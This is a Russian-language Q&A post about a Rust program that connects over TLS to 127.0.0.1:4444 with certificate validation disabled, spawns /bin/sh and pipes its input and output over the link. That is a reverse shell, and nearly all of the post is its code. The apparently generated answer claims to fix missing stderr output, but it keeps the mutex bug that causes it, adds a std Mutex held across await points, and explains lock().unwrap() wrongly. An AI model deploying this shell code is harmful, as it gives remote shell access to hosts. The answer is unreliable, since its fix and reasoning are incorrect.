Вопрос или проблема
Ранее я задавал этот вопрос и получил ответ (Перенаправление stdio через TLS в Rust), но не практиковав Rust в течение некоторого времени, у меня возникли проблемы с пониманием кода, и сейчас я пытаюсь заново реализовать решение.
Пока я пытаюсь понять код, вот моя проблема:
Мне удалось перенаправить stdin и stdout, но не stderr, может кто-то посоветовать, в чем проблема с моим кодом?
async fn connect() -> std::io::Result<()>
{
let mut connection = tokio::net::TcpStream::connect("127.0.0.1:4444").await?;
let mut tlsconnector_builder = tokio_native_tls::native_tls::TlsConnector::builder();
tlsconnector_builder.danger_accept_invalid_certs(true);
tlsconnector_builder.use_sni(false);
tlsconnector_builder.danger_accept_invalid_hostnames(true);
let native_tls_connector = tlsconnector_builder.build().unwrap();
let tokio_tls_connector = tokio_native_tls::TlsConnector::from(native_tls_connector);
let tls_connector = tokio_tls_connector.connect("127.0.0.1:4444", connection).await;
let mut child_process = tokio::process::Command::new("/bin/sh")
.stdin(std::process::Stdio::piped())
.stdout(std::process::Stdio::piped())
.stderr(std::process::Stdio::piped())
.spawn()?;
let mut child_stdin = child_process.stdin.take().expect("не удается открыть stdin");
let mut child_stdout = child_process.stdout.take().expect("не удается открыть stdout");
let mut child_stderr = child_process.stderr.take().expect("не удается открыть stderr");
match tls_connector
{
Ok(tls_stream) =>
{
let (mut reader, mut writer) = tokio::io::split(tls_stream);
let writer_arc = Arc::new(tokio::sync::Mutex::new(writer));
let writer_clone = Arc::clone(&writer_arc);
let stdin_task = tokio::spawn(async move {
tokio::io::copy(&mut reader, &mut child_stdin).await;
});
let stdout_task = tokio::spawn(async move {
let mut temp = writer_clone.lock().await;
let mut writer = temp.deref_mut();
tokio::io::copy(&mut child_stdout, &mut writer).await;
});
let writer_clone = Arc::clone(&writer_arc);
let stderr_task = tokio::spawn(async move {
let mut temp = writer_clone.lock().await;
let mut writer = temp.deref_mut();
tokio::io::copy(&mut child_stderr, &mut writer).await;
});
futures::join!(stdin_task, stdout_task, stderr_task);
},
Err(error) =>
{
println!("Ошибка при установлении TLS соединения");
},
}
Ok(())
}
#ИЗМЕНИТЬ 16 Окт 2024
В моих тестах я мог видеть вывод команды с удаленного терминала, к которому я подключился, и также могу выполнять команды с удаленного терминала, но не вижу сообщений об ошибках.
Ответ или решение
Для решения проблемы с перенаправлением stderr при использовании TLS в Rust, важно обратить внимание на несколько ключевых аспектов кода и реализации. Приведённый вами код действительно выполняет перенаправление stdin и stdout, но недостаточно сконцентрирован на правильной обработке stderr. Давайте детально разберём код и внесём необходимые изменения.
Изучение Кода
Из приведённого кода видно, что вы создаете TLS-соединение и запускаете дочерний процесс с подключением для stdin, stdout и stderr. Вот несколько моментов, требующих внимания:
-
Корректная обработка ошибок: стоит убедиться, что любые ошибки, возникающие при чтении или записи в stderr, обрабатываются и обрабатываются корректно.
-
Управление потоками: процесс перенаправления stderr может быть не замечен из-за особенностей работы с потоками. Ваша реализация использует
tokio::spawn
для создания задач для перенаправления stdin, stdout и stderr. Это правильный подход, однако, поток stderr может не захватываться должным образом, если не будет должной синхронизации.
Здесь вносятся изменения
Вот обновленный код, который включает перенаправление stderr:
use tokio::process::Command;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio_native_tls::TlsConnector;
use std::sync::Arc;
use std::sync::Mutex;
use futures::join;
async fn connect() -> std::io::Result<()> {
let mut connection = tokio::net::TcpStream::connect("127.0.0.1:4444").await?;
let mut tls_connector_builder = tokio_native_tls::native_tls::TlsConnector::builder();
tls_connector_builder.danger_accept_invalid_certs(true);
tls_connector_builder.use_sni(false);
tls_connector_builder.danger_accept_invalid_hostnames(true);
let native_tls_connector = tls_connector_builder.build().unwrap();
let tokio_tls_connector = TlsConnector::from(native_tls_connector);
let tls_connector = tokio_tls_connector.connect("127.0.0.1:4444", connection).await;
let mut child_process = Command::new("/bin/sh")
.stdin(std::process::Stdio::piped())
.stdout(std::process::Stdio::piped())
.stderr(std::process::Stdio::piped())
.spawn()?;
let mut child_stdin = child_process.stdin.take().expect("cannot open stdin");
let mut child_stdout = child_process.stdout.take().expect("cannot open stdout");
let mut child_stderr = child_process.stderr.take().expect("cannot open stderr");
match tls_connector {
Ok(mut tls_stream) => {
let (mut reader, mut writer) = tokio::io::split(tls_stream);
let writer_arc = Arc::new(Mutex::new(writer));
let stdin_task = tokio::spawn(async move {
let _ = tokio::io::copy(&mut reader, &mut child_stdin).await;
});
let stdout_task = {
let writer_clone = Arc::clone(&writer_arc);
tokio::spawn(async move {
let mut temp = writer_clone.lock().unwrap();
let _ = tokio::io::copy(&mut child_stdout, &mut *temp).await;
})
};
// Обработка stderr
let stderr_task = {
let writer_clone = Arc::clone(&writer_arc);
tokio::spawn(async move {
let mut temp = writer_clone.lock().unwrap();
let _ = tokio::io::copy(&mut child_stderr, &mut *temp).await;
})
};
join!(stdin_task, stdout_task, stderr_task);
},
Err(error) => {
println!("Error establishing TLS connection: {}", error);
},
}
Ok(())
}
Объяснение Исправлений
-
Функция lock(): Убедитесь, что при работе с
Arc<Mutex<...>>
, вы используете методlock().unwrap()
. Это позволит вам захватить блокировку и предотвратить возможные паники, если блокировка не может быть получена. -
Корректное закрытие потоков: Обратите внимание на переменные
_
в строках, работающих сtokio::io::copy
. Эти переменные используются для игнорирования значения, возвращаемого функцией. Это может помочь избежать предупреждений компилятора. -
Обработка ошибок: При выполнении операций, таких как
copy
, всегда важно обрабатывать результат. В данном случае мы просто игнорируем результат (let _ = ...
), но вы можете добавить логику для обработки ошибок при необходимости.
Заключение
Теперь ваш код должен корректно обрабатывать stderr и перенаправлять его через TLS. Убедитесь в том, что сервер, к которому вы подключаетесь, правильно обрабатывает сообщения об ошибках от клиента. Проверьте и тестируйте код, чтобы удостовериться в его работоспособности в реальных условиях.